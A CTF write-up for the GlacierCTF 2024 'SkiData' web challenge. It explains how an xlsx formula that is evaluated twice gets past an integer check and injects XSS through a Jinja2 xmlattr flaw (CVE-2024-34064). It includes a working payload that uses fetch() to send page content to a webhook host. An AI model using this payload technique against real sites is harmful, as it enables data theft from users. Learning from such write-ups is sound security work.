- Published on
GlacierCTF - SkiData
- Authors
- Name
- rvr
Introduction
On November 23, 2024, the GlacierCTF competition took place. One of the challenges I had the pleasure of solving was the skidata task in the web category. Feel free to read on!
Writeup
The goal of this challenge is to prepare an xss payload that steals the content of the html tag (where the flag is located). The app allows us to upload xlsx files (a sample xlsx file is attached to the challenge).
The only place where xss can occur is the following line from race_detail.html
:
<img {{ style(result.rank)|xmlattr }} alt="rank-img"/></td>
The style
function is as follows:
def style(rank):
return {f"rank-{rank}": "1", "src": f"/static/rank-{rank}.png", "width": "25px", "height": "25px"}
Therefore, our xss payload must be in the variable rank
, which is extracted from the xlsx
file via the pycel
parser. Unfortunately, it's not that simple because the code includes a check to see if the content of the C
cell (where the rank
is located) is an integer:
excel = ExcelCompiler(filepath)
for row in range(2,12):
...
if type(excel.evaluate(f'Sheet1!C{row}')) is not int:
flash(f"Sheet1!C{row}, Rank must be an integer")
return redirect(request.url)
excel.evaluate(f'Sheet1!E{row}')
excel.set_value(f'Sheet1!E{row}', "Imported")
...
rank = excel.evaluate(f'Sheet1!C{row}')
...
Fortunately, the code evaluates the value of the C
cell twice, so we can manipulate the data inside the xlsx file in a way that the first evaluation returns int
number and the second one returns the string containing the xss payload. We can achieve all this thanks to the existence of the following lines of code, which are executed between two evolutions of C cell:
excel.evaluate(f'Sheet1!E{row}')
excel.set_value(f'Sheet1!E{row}', "Imported")
So, the approach is as follows:
- put, for example, the number
2
into cellE3
- then put the following formula into cell
C3
:=IF(E3=2,1337,"/onerror=fetch('//WEBHOOK.site/?a='+document.querySelector('.me-3').textContent)/")
Therefore, when the first excel.evaluate(f'Sheet1!C3')
is executed, the result will be an integer number (1337
) because E3==2
. Then, the line excel.set_value(f'Sheet1!E3', "Imported")
will change the contents of cell E3
to Imported
, so calling the =IF
formula again will return a string with the xss payload.
Additionally, xmlattr
in jinija2
version 3.1.3
is vulnerable to CVE-2024-34064. Hence, our xss payload should use /
instead of spaces as above.